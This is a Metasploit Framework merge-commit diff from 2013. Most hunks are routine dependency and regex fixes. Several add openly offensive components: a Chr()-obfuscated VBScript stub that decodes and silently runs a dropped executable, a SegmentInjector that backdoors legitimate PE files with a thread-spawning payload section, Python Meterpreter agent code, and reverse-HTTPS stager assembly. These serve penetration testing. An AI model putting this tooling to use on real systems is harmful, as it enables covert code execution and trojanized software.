Merge branch 'rapid7' into bug/osx-mods-load-order

Conflicts:
	modules/post/windows/gather/enum_dirperms.rb
bug/bundler_fix
James Lee 2013-09-17 18:21:13 -05:00
commit 150f0f644e
203 changed files with 3379 additions and 843 deletions

5
.gitignore vendored
View File

@ -3,10 +3,7 @@
.idea
# Sublime Text project directory (not created by ST by default)
.sublime-project
# Portable ruby version files for rvm
.ruby-gemset
.ruby-version
# RVM control file
# RVM control file, keep this to avoid backdooring Metasploit
.rvmrc
# YARD cache directory
.yardoc

1
.ruby-gemset Normal file
View File

@ -0,0 +1 @@
metasploit-framework

1
.ruby-version Normal file
View File

@ -0,0 +1 @@
ruby-1.9.3-p448

View File

@ -15,4 +15,4 @@ notifications:
irc: "irc.freenode.org#msfnotify"
git:
depth: 1
depth: 5

View File

@ -11,7 +11,7 @@ gem 'nokogiri'
# Needed by anemone crawler
gem 'robots'
# Needed by db.rb and Msf::Exploit::Capture
gem 'packetfu', '1.1.8'
gem 'packetfu', '1.1.9'
group :db do
# Needed for Msf::DbManager
@ -41,7 +41,7 @@ group :development, :test do
# 'FactoryGirl.' in factory definitions syntax.
gem 'factory_girl', '>= 4.1.0'
# running documentation generation tasks and rspec tasks
gem 'rake'
gem 'rake', '>= 10.0.0'
end
group :test do
@ -51,11 +51,10 @@ group :test do
gem 'database_cleaner'
# testing framework
gem 'rspec', '>= 2.12'
# add matchers from shoulda, such as query_the_database, which is useful for
# testing that the Msf::DBManager activation is respected.
gem 'shoulda-matchers'
# code coverage for tests
# any version newer than 0.5.4 gives an Encoding error when trying to read the source files.
# see: https://github.com/colszowka/simplecov/issues/127 (hopefully fixed in 0.8.0)
gem 'simplecov', '0.5.4', :require => false
# Manipulate Time.now in specs
gem 'timecop'

View File

@ -1,62 +1,58 @@
GEM
remote: http://rubygems.org/
specs:
activemodel (3.2.13)
activesupport (= 3.2.13)
activemodel (3.2.14)
activesupport (= 3.2.14)
builder (~> 3.0.0)
activerecord (3.2.13)
activemodel (= 3.2.13)
activesupport (= 3.2.13)
activerecord (3.2.14)
activemodel (= 3.2.14)
activesupport (= 3.2.14)
arel (~> 3.0.2)
tzinfo (~> 0.3.29)
activesupport (3.2.13)
i18n (= 0.6.1)
activesupport (3.2.14)
i18n (~> 0.6, >= 0.6.4)
multi_json (~> 1.0)
arel (3.0.2)
bourne (1.4.0)
mocha (~> 0.13.2)
builder (3.0.4)
database_cleaner (0.9.1)
diff-lcs (1.2.2)
database_cleaner (1.1.1)
diff-lcs (1.2.4)
factory_girl (4.2.0)
activesupport (>= 3.0.0)
i18n (0.6.1)
json (1.7.7)
metaclass (0.0.1)
i18n (0.6.5)
json (1.8.0)
metasploit_data_models (0.16.6)
activerecord (>= 3.2.13)
activesupport
pg
mocha (0.13.3)
metaclass (~> 0.0.1)
msgpack (0.5.4)
mini_portile (0.5.1)
msgpack (0.5.5)
multi_json (1.0.4)
network_interface (0.0.1)
nokogiri (1.5.9)
packetfu (1.1.8)
nokogiri (1.6.0)
mini_portile (~> 0.5.0)
packetfu (1.1.9)
pcaprub (0.11.3)
pg (0.15.1)
rake (10.0.4)
redcarpet (2.2.2)
pg (0.16.0)
rake (10.1.0)
redcarpet (3.0.0)
robots (0.10.1)
rspec (2.13.0)
rspec-core (~> 2.13.0)
rspec-expectations (~> 2.13.0)
rspec-mocks (~> 2.13.0)
rspec-core (2.13.1)
rspec-expectations (2.13.0)
rspec (2.14.1)
rspec-core (~> 2.14.0)
rspec-expectations (~> 2.14.0)
rspec-mocks (~> 2.14.0)
rspec-core (2.14.5)
rspec-expectations (2.14.2)
diff-lcs (>= 1.1.3, < 2.0)
rspec-mocks (2.13.0)
shoulda-matchers (1.5.2)
rspec-mocks (2.14.3)
shoulda-matchers (2.3.0)
activesupport (>= 3.0.0)
bourne (~> 1.3)
simplecov (0.5.4)
multi_json (~> 1.0.3)
simplecov-html (~> 0.5.3)
simplecov-html (0.5.3)
timecop (0.6.1)
timecop (0.6.3)
tzinfo (0.3.37)
yard (0.8.5.2)
yard (0.8.7)
PLATFORMS
ruby
@ -71,10 +67,10 @@ DEPENDENCIES
msgpack
network_interface (~> 0.0.1)
nokogiri
packetfu (= 1.1.8)
packetfu (= 1.1.9)
pcaprub
pg (>= 0.11)
rake
rake (>= 10.0.0)
redcarpet
robots
rspec (>= 2.12)

View File

@ -9,8 +9,8 @@ Code Style
In order to maintain consistency and readability, we ask that you
adhere to the following style guidelines:
- Hard tabs, not spaces
- Try to keep your lines under 100 columns (assuming four-space tabs)
- Standard Ruby two-space soft tabs, not hard tabs.
- Try to keep your lines under 100 columns (assuming two-space tabs)
- do; end instead of {} for a block
- Always use str[0,1] instead of str[0]
(This avoids a known ruby 1.8/1.9 incompatibility.)

View File

@ -0,0 +1,49 @@
echo Dim encodedFile, decodedFile, scriptingFS, scriptShell, emptyString, tempString, Base64Chars, tempDir >>decode_stub
echo encodedFile = Chr(92)+CHRENCFILE >>decode_stub
echo decodedFile = Chr(92)+CHRDECFILE >>decode_stub
echo scriptingFS = Chr(83)+Chr(99)+Chr(114)+Chr(105)+Chr(112)+Chr(116)+Chr(105)+Chr(110)+Chr(103)+Chr(46)+Chr(70)+Chr(105)+Chr(108)+Chr(101)+Chr(83)+Chr(121)+Chr(115)+Chr(116)+Chr(101)+Chr(109)+Chr(79)+Chr(98)+Chr(106)+Chr(101)+Chr(99)+Chr(116) >>decode_stub
echo scriptShell = Chr(87)+Chr(115)+Chr(99)+Chr(114)+Chr(105)+Chr(112)+Chr(116)+Chr(46)+Chr(83)+Chr(104)+Chr(101)+Chr(108)+Chr(108) >>decode_stub
echo emptyString = Chr(84)+Chr(104)+Chr(101)+Chr(32)+Chr(102)+Chr(105)+Chr(108)+Chr(101)+Chr(32)+Chr(105)+Chr(115)+Chr(32)+Chr(101)+Chr(109)+Chr(112)+Chr(116)+Chr(121)+Chr(46)>>decode_stub
echo tempString = Chr(37)+Chr(84)+Chr(69)+Chr(77)+Chr(80)+Chr(37) >>decode_stub
echo Base64Chars = Chr(65)+Chr(66)+Chr(67)+Chr(68)+Chr(69)+Chr(70)+Chr(71)+Chr(72)+Chr(73)+Chr(74)+Chr(75)+Chr(76)+Chr(77)+Chr(78)+Chr(79)+Chr(80)+Chr(81)+Chr(82)+Chr(83)+Chr(84)+Chr(85)+Chr(86)+Chr(87)+Chr(88)+Chr(89)+Chr(90)+Chr(97)+Chr(98)+Chr(99)+Chr(100)+Chr(101)+Chr(102)+Chr(103)+Chr(104)+Chr(105)+Chr(106)+Chr(107)+Chr(108)+Chr(109)+Chr(110)+Chr(111)+Chr(112)+Chr(113)+Chr(114)+Chr(115)+Chr(116)+Chr(117)+Chr(118)+Chr(119)+Chr(120)+Chr(121)+Chr(122)+Chr(48)+Chr(49)+Chr(50)+Chr(51)+Chr(52)+Chr(53)+Chr(54)+Chr(55)+Chr(56)+Chr(57)+Chr(43)+Chr(47) >>decode_stub
echo Set wshShell = CreateObject(scriptShell) >>decode_stub
echo tempDir = wshShell.ExpandEnvironmentStrings(tempString) >>decode_stub
echo Set fs = CreateObject(scriptingFS) >>decode_stub
echo Set file = fs.GetFile(tempDir+encodedFile) >>decode_stub
echo If file.Size Then >>decode_stub
echo Set fd = fs.OpenTextFile(tempDir+encodedFile, 1) >>decode_stub
echo data = fd.ReadAll >>decode_stub
echo data = Replace(data, Chr(32)+vbCrLf, nil) >>decode_stub
echo data = Replace(data, vbCrLf, nil) >>decode_stub
echo data = base64_decode(data) >>decode_stub
echo fd.Close >>decode_stub
echo Set ofs = CreateObject(scriptingFS).OpenTextFile(tempDir+decodedFile, 2, True) >>decode_stub
echo ofs.Write data >>decode_stub
echo ofs.close >>decode_stub
echo wshShell.run tempDir+decodedFile, 0, false >>decode_stub
echo Else >>decode_stub
echo Wscript.Echo emptyString >>decode_stub
echo End If >>decode_stub
echo Function base64_decode(byVal strIn) >>decode_stub
echo Dim w1, w2, w3, w4, n, strOut >>decode_stub
echo For n = 1 To Len(strIn) Step 4 >>decode_stub
echo w1 = mimedecode(Mid(strIn, n, 1)) >>decode_stub
echo w2 = mimedecode(Mid(strIn, n + 1, 1)) >>decode_stub
echo w3 = mimedecode(Mid(strIn, n + 2, 1)) >>decode_stub
echo w4 = mimedecode(Mid(strIn, n + 3, 1)) >>decode_stub
echo If Not w2 Then _ >>decode_stub
echo strOut = strOut + Chr(((w1 * 4 + Int(w2 / 16)) And 255)) >>decode_stub
echo If Not w3 Then _ >>decode_stub
echo strOut = strOut + Chr(((w2 * 16 + Int(w3 / 4)) And 255)) >>decode_stub
echo If Not w4 Then _ >>decode_stub
echo strOut = strOut + Chr(((w3 * 64 + w4) And 255)) >>decode_stub
echo Next >>decode_stub
echo base64_decode = strOut >>decode_stub
echo End Function >>decode_stub
echo Function mimedecode(byVal strIn) >>decode_stub
echo If Len(strIn) = 0 Then >>decode_stub
echo mimedecode = -1 : Exit Function >>decode_stub
echo Else >>decode_stub
echo mimedecode = InStr(Base64Chars, strIn) - 1 >>decode_stub
echo End If >>decode_stub
echo End Function >>decode_stub

Binary file not shown.

Binary file not shown.

BIN
data/meterpreter/elevator.x86.dll Executable file

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

View File

@ -580,20 +580,28 @@ def stdapi_fs_delete_file(request, response):
@meterpreter.register_function
def stdapi_fs_file_expand_path(request, response):
path_tlv = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
if path_tlv == '%COMSPEC%':
if platform.system() == 'Windows':
result = 'cmd.exe'
else:
result = '/bin/sh'
elif path_tlv in ['%TEMP%', '%TMP%'] and platform.system() != 'Windows':
if has_windll:
path_out = (ctypes.c_char * 4096)()
path_out_len = ctypes.windll.kernel32.ExpandEnvironmentStringsA(path_tlv, ctypes.byref(path_out), ctypes.sizeof(path_out))
result = ''.join(path_out)[:path_out_len]
elif path_tlv == '%COMSPEC%':
result = '/bin/sh'
elif path_tlv in ['%TEMP%', '%TMP%']:
result = '/tmp'
else:
result = os.getenv(path_tlv)
result = os.getenv(path_tlv, path_tlv)
if not result:
return ERROR_FAILURE, response
response += tlv_pack(TLV_TYPE_FILE_PATH, result)
return ERROR_SUCCESS, response
@meterpreter.register_function
def stdapi_fs_file_move(request, response):
oldname = packet_get_tlv(request, TLV_TYPE_FILE_NAME)['value']
newname = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
os.rename(oldname, newname)
return ERROR_SUCCESS, response
@meterpreter.register_function
def stdapi_fs_getwd(request, response):
response += tlv_pack(TLV_TYPE_DIRECTORY_PATH, os.getcwd())
@ -622,7 +630,7 @@ def stdapi_fs_md5(request, response):
m = hashlib.md5()
path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
m.update(open(path, 'rb').read())
response += tlv_pack(TLV_TYPE_FILE_NAME, m.hexdigest())
response += tlv_pack(TLV_TYPE_FILE_NAME, m.digest())
return ERROR_SUCCESS, response
@meterpreter.register_function
@ -669,7 +677,7 @@ def stdapi_fs_sha1(request, response):
m = hashlib.sha1()
path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
m.update(open(path, 'rb').read())
response += tlv_pack(TLV_TYPE_FILE_NAME, m.hexdigest())
response += tlv_pack(TLV_TYPE_FILE_NAME, m.digest())
return ERROR_SUCCESS, response
@meterpreter.register_function

Binary file not shown.

View File

@ -145,8 +145,9 @@ class STDProcessBuffer(threading.Thread):
self.data_lock.acquire()
self.data += byte
self.data_lock.release()
data = self.std.read()
self.data_lock.acquire()
self.data += self.std.read()
self.data += data
self.data_lock.release()
def is_read_ready(self):
@ -208,7 +209,7 @@ class PythonMeterpreter(object):
def run(self):
while self.running:
if len(select.select([self.socket], [], [], 0)[0]):
if len(select.select([self.socket], [], [], 0.5)[0]):
request = self.socket.recv(8)
if len(request) != 8:
break
@ -391,13 +392,17 @@ class PythonMeterpreter(object):
reqid_tlv = packet_get_tlv(request, TLV_TYPE_REQUEST_ID)
resp += tlv_pack(reqid_tlv)
if method_tlv['value'] in self.extension_functions:
handler = self.extension_functions[method_tlv['value']]
handler_name = method_tlv['value']
if handler_name in self.extension_functions:
handler = self.extension_functions[handler_name]
try:
#print("[*] running method {0}".format(handler_name))
result, resp = handler(request, resp)
except Exception, err:
#print("[-] method {0} resulted in an error".format(handler_name))
result = ERROR_FAILURE
else:
#print("[-] method {0} was requested but does not exist".format(handler_name))
result = ERROR_FAILURE
resp += tlv_pack(TLV_TYPE_RESULT, result)
resp = struct.pack('>I', len(resp) + 4) + resp

Binary file not shown.

Binary file not shown.

BIN
data/meterpreter/metsrv.x86.dll Executable file

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

View File

@ -0,0 +1,8 @@
aspnet_client/
Autodiscover/
ecp/
EWS/
Microsoft-Server-ActiveSync/
OAB/
PowerShell/
Rpc/

View File

@ -1,6 +1,7 @@
;-----------------------------------------------------------------------------;
; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
; Rewritten for x64 by agix
; Modified to account for memory alignment by rwincey
; Compatible: Windows 7
; Architecture: x64
;-----------------------------------------------------------------------------;
@ -12,6 +13,7 @@
load_wininet:
; setup the structures we need on the stack...
push byte 0 ; alignment
mov r14, 'wininet'
push r14 ; Push the bytes 'wininet',0 onto the stack.
mov r14, rsp ; save pointer to the "wininet" string for LoadLibraryA call.
@ -20,6 +22,7 @@ load_wininet:
call rbp ; LoadLibraryA( "ws2_32" )
internetopen:
push byte 0 ; alignment
push byte 0 ; NULL pointer
mov rcx, rsp ; LPCTSTR lpszAgent ("\x00")
xor rdx, rdx ; DWORD dwAccessType (PRECONFIG = 0)
@ -74,6 +77,7 @@ retry:
internetsetoption:
mov rcx, rsi ; HINTERNET hInternet
mov rdx, 31 ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS)
push byte 0 ; alignment
push qword 0x00003380
;0x00002000 | ; SECURITY_FLAG_IGNORE_CERT_DATE_INVALID
;0x00001000 | ; SECURITY_FLAG_IGNORE_CERT_CN_INVALID
@ -90,6 +94,7 @@ httpsendrequest:
xor rdx, rdx ; LPCTSTR lpszHeaders
xor r8, r8 ; DWORD dwHeadersLength
xor r9, r9 ; LPVOID lpOptional
push rdx ; alignment
push rdx ; DWORD dwOptionalLength
mov r10, 0x7B18062D ; hash( "wininet.dll", "HttpSendRequestA" )
call rbp

View File

@ -776,10 +776,10 @@ class Disassembler
def strings_scan(minlen=6)
ret = []
nexto = 0
pattern_scan(/[\x20-\x7e]{#{minlen},}/m, nil, 1024) { |o|
pattern_scan(/[\x20-\x7e]{#{minlen},}/nm, nil, 1024) { |o|
if o - nexto > 0
next unless e = get_edata_at(o)
str = e.data[e.ptr, 1024][/[\x20-\x7e]{#{minlen},}/m]
str = e.data[e.ptr, 1024][/[\x20-\x7e]{#{minlen},}/nm]
ret << [o, str] if not block_given? or yield(o, str)
nexto = o + str.length
end

View File

@ -231,7 +231,7 @@ class HexWidget < DrawableWidget
end
if @show_ascii and d
x = xa + d_o*@font_width
d = d.gsub(/[^\x20-\x7e]/, '.')
d = d.gsub(/[^\x20-\x7e]/n, '.')
if wp.empty?
render[d, :ascii]
else
@ -393,7 +393,7 @@ class HexWidget < DrawableWidget
# pop a dialog, scans the sections for a hex pattern
def prompt_search_hex
inputbox('hex pattern to search (hex regexp, use .. for wildcard)') { |pat|
pat = pat.gsub(' ', '').gsub('..', '.').gsub(/[0-9a-f][0-9a-f]/i) { |o| "\\x#{o}" }
pat = pat.gsub(' ', '').gsub('..', '.').gsub(/[0-9a-f][0-9a-f]/ni) { |o| "\\x#{o}" }
pat = Regexp.new(pat, Regexp::MULTILINE, 'n') # 'n' = force ascii-8bit
list = [['addr']] + @dasm.pattern_scan(pat).map { |a| [Expression[a]] }
listwindow("hex search #{pat}", list) { |i| focus_addr i[0] }

View File

@ -15,7 +15,7 @@ class Meterpreter_x86_Win < Msf::Sessions::Meterpreter
def initialize(rstream,opts={})
super
self.platform = 'x86/win32'
self.binary_suffix = 'dll'
self.binary_suffix = 'x86.dll'
end
def lookup_error(code)

View File

@ -93,8 +93,6 @@ module Auxiliary::AuthBrute
next if @@credentials_skipped[fq_user]
next if @@credentials_tried[fq_user] == p
datastore['USERNAME'] = u.to_s
datastore['PASSWORD'] = p.to_s
ret = block.call(u, p)
case ret

View File

@ -128,10 +128,10 @@ module Auxiliary::Login
false
end
def password_prompt?
def password_prompt?(username=nil)
return true if(@recvd =~ @password_regex)
if datastore['USERNAME']
return true if( !(datastore['USERNAME'].empty?) and @recvd =~ /#{datastore['USERNAME']}'s/)
if username
return true if( !(username.empty?) and @recvd =~ /#{username}'s/)
end
return false
end

View File

@ -59,7 +59,7 @@ def get_nmap_ver
nmap_cmd = [self.nmap_bin]
nmap_cmd << "--version"
res << %x{#{nmap_cmd.join(" ")}} rescue nil
res.gsub(/[\x0d\x0a]/,"")
res.gsub(/[\x0d\x0a]/n,"")
end
# Takes a version string in the form of Major.Minor and compares to
@ -68,16 +68,16 @@ end
# Comparing an Integer is okay, though.
def nmap_version_at_least?(test_ver=nil)
raise ArgumentError, "Cannot compare a Float, use a String or Integer" if test_ver.kind_of? Float
unless test_ver.to_s[/^([0-9]+(\x2e[0-9]+)?)/]
unless test_ver.to_s[/^([0-9]+(\x2e[0-9]+)?)/n]
raise ArgumentError, "Bad Nmap comparison version: #{test_ver.inspect}"
end
test_ver_str = test_ver.to_s
tnum_arr = $1.split(/\x2e/)[0,2].map {|x| x.to_i}
tnum_arr = $1.split(/\x2e/n)[0,2].map {|x| x.to_i}
installed_ver = get_nmap_ver()
vtag = installed_ver.split[2] # Should be ["Nmap", "version", "X.YZTAG", "(", "http..", ")"]
return false if (vtag.nil? || vtag.empty?)
return false unless (vtag =~ /^([0-9]+\x2e[0-9]+)/) # Drop the tag.
inum_arr = $1.split(/\x2e/)[0,2].map {|x| x.to_i}
return false unless (vtag =~ /^([0-9]+\x2e[0-9]+)/n) # Drop the tag.
inum_arr = $1.split(/\x2e/n)[0,2].map {|x| x.to_i}
return true if inum_arr[0] > tnum_arr[0]
return false if inum_arr[0] < tnum_arr[0]
inum_arr[1].to_i >= tnum_arr[1].to_i
@ -228,7 +228,7 @@ def nmap_validate_arg(str)
return false
end
# Check for commas outside of quoted arguments
quoted_22 = /\x22[^\x22]*\x22/
quoted_22 = /\x22[^\x22]*\x22/n
requoted_str = str.gsub(/'/,"\"")
if requoted_str.split(quoted_22).join[/,/]
print_error "Malformed nmap arguments (unquoted comma): #{str}"

View File

@ -358,7 +358,7 @@ class DBManager
opts.each { |k,v|
if (host.attribute_names.include?(k.to_s))
unless host.attribute_locked?(k.to_s)
host[k] = v.to_s.gsub(/[\x00-\x1f]/, '')
host[k] = v.to_s.gsub(/[\x00-\x1f]/n, '')
end
else
dlog("Unknown attribute for ::Mdm::Host: #{k}")
@ -481,7 +481,7 @@ class DBManager
if (host.attribute_names.include?(k.to_s))
unless host.attribute_locked?(k.to_s)
host[k] = v.to_s.gsub(/[\x00-\x1f]/, '')
host[k] = v.to_s.gsub(/[\x00-\x1f]/n, '')
end
else
dlog("Unknown attribute for Host: #{k}")
@ -1536,12 +1536,12 @@ class DBManager
if (token[0])
# convert the token to US-ASCII from UTF-8 to prevent an error
token[0] = token[0].unpack("C*").pack("C*")
token[0] = token[0].gsub(/[\x00-\x1f\x7f-\xff]/){|m| "\\x%.2x" % m.unpack("C")[0] }
token[0] = token[0].gsub(/[\x00-\x1f\x7f-\xff]/n){|m| "\\x%.2x" % m.unpack("C")[0] }
end
if (token[1])
token[1] = token[1].unpack("C*").pack("C*")
token[1] = token[1].gsub(/[\x00-\x1f\x7f-\xff]/){|m| "\\x%.2x" % m.unpack("C")[0] }
token[1] = token[1].gsub(/[\x00-\x1f\x7f-\xff]/n){|m| "\\x%.2x" % m.unpack("C")[0] }
end
ret = {}
@ -2853,7 +2853,7 @@ class DBManager
return REXML::Document.new(data)
rescue REXML::ParseException => e
dlog("REXML error: Badly formatted XML, attempting to recover. Error was: #{e.inspect}")
return REXML::Document.new(data.gsub(/([\x00-\x08\x0b\x0c\x0e-\x1f\x80-\xff])/){ |x| "\\x%.2x" % x.unpack("C*")[0] })
return REXML::Document.new(data.gsub(/([\x00-\x08\x0b\x0c\x0e-\x1f\x80-\xff])/n){ |x| "\\x%.2x" % x.unpack("C*")[0] })
end
end
end
@ -3055,7 +3055,7 @@ class DBManager
@import_filedata[:type] = "Appscan"
return :appscan_xml
when "entities"
if line =~ /creator.*\x43\x4f\x52\x45\x20\x49\x4d\x50\x41\x43\x54/i
if line =~ /creator.*\x43\x4f\x52\x45\x20\x49\x4d\x50\x41\x43\x54/ni
@import_filedata[:type] = "CI"
return :ci_xml
end
@ -3342,8 +3342,8 @@ class DBManager
def inspect_single_packet_http(pkt,wspace,task=nil)
# First, check the server side (data from port 80).
if pkt.is_tcp? and pkt.tcp_src == 80 and !pkt.payload.nil? and !pkt.payload.empty?
if pkt.payload =~ /^HTTP\x2f1\x2e[01]/
http_server_match = pkt.payload.match(/\nServer:\s+([^\r\n]+)[\r\n]/)
if pkt.payload =~ /^HTTP\x2f1\x2e[01]/n
http_server_match = pkt.payload.match(/\nServer:\s+([^\r\n]+)[\r\n]/n)
if http_server_match.kind_of?(MatchData) and http_server_match[1]
report_service(
:workspace => wspace,
@ -3363,8 +3363,8 @@ class DBManager
# Next, check the client side (data to port 80)
if pkt.is_tcp? and pkt.tcp_dst == 80 and !pkt.payload.nil? and !pkt.payload.empty?
if pkt.payload.match(/[\x00-\x20]HTTP\x2f1\x2e[10]/)
auth_match = pkt.payload.match(/\nAuthorization:\s+Basic\s+([A-Za-z0-9=\x2b]+)/)
if pkt.payload.match(/[\x00-\x20]HTTP\x2f1\x2e[10]/n)
auth_match = pkt.payload.match(/\nAuthorization:\s+Basic\s+([A-Za-z0-9=\x2b]+)/n)
if auth_match.kind_of?(MatchData) and auth_match[1]
b64_cred = auth_match[1]
else
@ -3476,7 +3476,7 @@ class DBManager
data.each_line do |line|
case line
when /^[\s]*#/ # Comment lines
if line[/^#[\s]*([0-9.]+):([0-9]+)(\x2f(tcp|udp))?[\s]*(\x28([^\x29]*)\x29)?/]
if line[/^#[\s]*([0-9.]+):([0-9]+)(\x2f(tcp|udp))?[\s]*(\x28([^\x29]*)\x29)?/n]
addr = $1
port = $2
proto = $4
@ -3492,7 +3492,7 @@ class DBManager
user = ([nil, "<BLANK>"].include?($1)) ? "" : $1
pass = ""
ptype = "smb_hash"
when /^[\s]*([\x21-\x7f]+)[\s]+([\x21-\x7f]+)?/ # Must be a user pass
when /^[\s]*([\x21-\x7f]+)[\s]+([\x21-\x7f]+)?/n # Must be a user pass
user = ([nil, "<BLANK>"].include?($1)) ? "" : dehex($1)
pass = ([nil, "<BLANK>"].include?($2)) ? "" : dehex($2)
ptype = "password"
@ -3531,7 +3531,7 @@ class DBManager
# If hex notation is present, turn them into a character.
def dehex(str)
hexen = str.scan(/\x5cx[0-9a-fA-F]{2}/)
hexen = str.scan(/\x5cx[0-9a-fA-F]{2}/n)
hexen.each { |h|
str.gsub!(h,h[2,2].to_i(16).chr)
}
@ -5039,7 +5039,7 @@ class DBManager
next if r[0] != 'results'
next if r[4] != "12053"
data = r[6]
addr,hname = data.match(/([0-9\x2e]+) resolves as (.+)\x2e\\n/)[1,2]
addr,hname = data.match(/([0-9\x2e]+) resolves as (.+)\x2e\\n/n)[1,2]
addr_map[hname] = addr
end
@ -5160,7 +5160,7 @@ class DBManager
# HostName
host.elements.each('ReportItem') do |item|
next unless item.elements['pluginID'].text == "12053"
addr = item.elements['data'].text.match(/([0-9\x2e]+) resolves as/)[1]
addr = item.elements['data'].text.match(/([0-9\x2e]+) resolves as/n)[1]
hname = host.elements['HostName'].text
end
addr ||= host.elements['HostName'].text
@ -5855,7 +5855,7 @@ class DBManager
data.each_line do |line|
next if line =~ /^#/
next if line !~ /^Protocol on ([^:]+):([^\x5c\x2f]+)[\x5c\x2f](tcp|udp) matches (.*)$/
next if line !~ /^Protocol on ([^:]+):([^\x5c\x2f]+)[\x5c\x2f](tcp|udp) matches (.*)$/n
addr = $1
next if bl.include? addr
port = $2.to_i

View File

@ -20,7 +20,7 @@ class Export
end
def myusername
@username ||= (ENV['LOGNAME'] || ENV['USERNAME'] || ENV['USER'] || "unknown").to_s.strip.gsub(/[^A-Za-z0-9\x20]/,"_")
@username ||= (ENV['LOGNAME'] || ENV['USERNAME'] || ENV['USER'] || "unknown").to_s.strip.gsub(/[^A-Za-z0-9\x20]/n,"_")
end
# Hosts are always allowed. This is really just a stub.
@ -115,7 +115,7 @@ class Export
user = (c.user.nil? || c.user.empty?) ? "<BLANK>" : c.user
pass = (c.pass.nil? || c.pass.empty?) ? "<BLANK>" : c.pass
if pass != "<BLANK>"
pass = (c.pass.upcase =~ /^[\x20-\x7e]*:[A-F0-9]{48}:[A-F0-9]{50,}/m) ? c.pass : "<BLANK>"
pass = (c.pass.upcase =~ /^[\x20-\x7e]*:[A-F0-9]{48}:[A-F0-9]{50,}/nm) ? c.pass : "<BLANK>"
end
if pass == "<BLANK>"
# Basically this is an error (maybe around [\x20-\x7e] in regex) above
@ -206,7 +206,7 @@ class Export
report_file.write %Q|<?xml version="1.0" encoding="UTF-8"?>\n|
report_file.write %Q|<MetasploitV4>\n|
report_file.write %Q|<generated time="#{Time.now.utc}" user="#{myusername}" project="#{myworkspace.name.gsub(/[^A-Za-z0-9\x20]/,"_")}" product="framework"/>\n|
report_file.write %Q|<generated time="#{Time.now.utc}" user="#{myusername}" project="#{myworkspace.name.gsub(/[^A-Za-z0-9\x20]/n,"_")}" product="framework"/>\n|
yield(:status, "start", "hosts") if block_given?
report_file.write %Q|<hosts>\n|
@ -352,7 +352,7 @@ class Export
if value
data = marshalize(value)
data.force_encoding(Encoding::BINARY) if data.respond_to?('force_encoding')
data.gsub!(/([\x00-\x08\x0b\x0c\x0e-\x1f\x80-\xFF])/){ |x| "\\x%.2x" % x.unpack("C*")[0] }
data.gsub!(/([\x00-\x08\x0b\x0c\x0e-\x1f\x80-\xFF])/n){ |x| "\\x%.2x" % x.unpack("C*")[0] }
el << REXML::Text.new(data)
end
return el

View File

@ -0,0 +1,108 @@
module Msf
module Exe
require 'metasm'
class SegmentInjector
attr_accessor :payload
attr_accessor :template
attr_accessor :arch
attr_accessor :buffer_register
def initialize(opts = {})
@payload = opts[:payload]
@template = opts[:template]
@arch = opts[:arch] || :x86
@buffer_register = opts[:buffer_register] || 'edx'
unless %w{eax ecx edx ebx edi esi}.include?(@buffer_register.downcase)
raise ArgumentError, ":buffer_register is not a real register"
end
end
def processor
case @arch
when :x86
return Metasm::Ia32.new
when :x64
return Metasm::X86_64.new
end
end
def create_thread_stub
<<-EOS
hook_entrypoint:
pushad
push hook_libname
call [iat_LoadLibraryA]
push hook_funcname
push eax
call [iat_GetProcAddress]
mov eax, [iat_CreateThread]
lea edx, [thread_hook]
push 0
push 0
push 0
push edx
push 0
push 0
call eax
popad
jmp entrypoint
hook_libname db 'kernel32', 0
hook_funcname db 'CreateThread', 0
thread_hook:
lea #{buffer_register}, [thread_hook]
add #{buffer_register}, 9
EOS
end
def payload_as_asm
asm = ''
@payload.each_byte do |byte|
asm << "db " + sprintf("0x%02x", byte) + "\n"
end
return asm
end
def payload_stub
asm = create_thread_stub
asm << payload_as_asm
shellcode = Metasm::Shellcode.assemble(processor, asm)
shellcode.encoded
end
def generate_pe
# Copy our Template into a new PE
pe_orig = Metasm::PE.decode_file(template)
pe = pe_orig.mini_copy
# Copy the headers and exports
pe.mz.encoded = pe_orig.encoded[0, pe_orig.coff_offset-4]
pe.mz.encoded.export = pe_orig.encoded[0, 512].export.dup
pe.header.time = pe_orig.header.time
# Generate a new code section set to RWX with our payload in it
s = Metasm::PE::Section.new
s.name = '.text'
s.encoded = payload_stub
s.characteristics = %w[MEM_READ MEM_WRITE MEM_EXECUTE]
# Tell our section where the original entrypoint was
s.encoded.fixup!('entrypoint' => pe.optheader.image_base + pe.optheader.entrypoint)
pe.sections << s
pe.invalidate_header
# Change the entrypoint to our new section
pe.optheader.entrypoint = 'hook_entrypoint'
pe.cpu = pe_orig.cpu
pe.encode_string
end
end
end
end

View File

@ -135,11 +135,11 @@ module Exploit::Remote::Arkeia
end
# Store the version information
mver = resp.match(/IVERSION\x00([^\x00]+)/)
mver = resp.match(/IVERSION\x00([^\x00]+)/n)
info['Version'] = mver[1] if mver
# Store the hostname information
mver = resp.match(/ISERVNAME\x00([^\x00]+)/)
mver = resp.match(/ISERVNAME\x00([^\x00]+)/n)
info['Hostname'] = mver[1] if mver
# Begin the ARKADMIN_GET_MACHINE_INFO request
@ -182,7 +182,7 @@ module Exploit::Remote::Arkeia
# Finally, parse out and store all the parameters
resp.split("TPVALUE\x00").each { |x|
minf = x.match(/^([^\x00]+)\x00PNAME\x00([^\x00]+)/)
minf = x.match(/^([^\x00]+)\x00PNAME\x00([^\x00]+)/n)
if (minf)
info[ minf[2] ] = minf[1]
end

View File

@ -20,10 +20,16 @@ module Exploit::FileDropper
# @return [void]
#
def on_new_session(session)
super
if session.type == "meterpreter"
session.core.use("stdapi") unless session.ext.aliases.include?("stdapi")
end
if not @dropped_files or @dropped_files.empty?
return true
end
@dropped_files.delete_if do |file|
win_file = file.gsub("/", "\\\\")
if session.type == "meterpreter"
@ -58,8 +64,6 @@ module Exploit::FileDropper
true
end
end
super
end
#

View File

@ -463,8 +463,8 @@ module Exploit::Remote::HttpClient
end
if datastore['RPORT'].to_i == 3790
if res.code == 302 and res.headers and res.headers['Location'] =~ /[\x5c\x2f](login|setup)$/
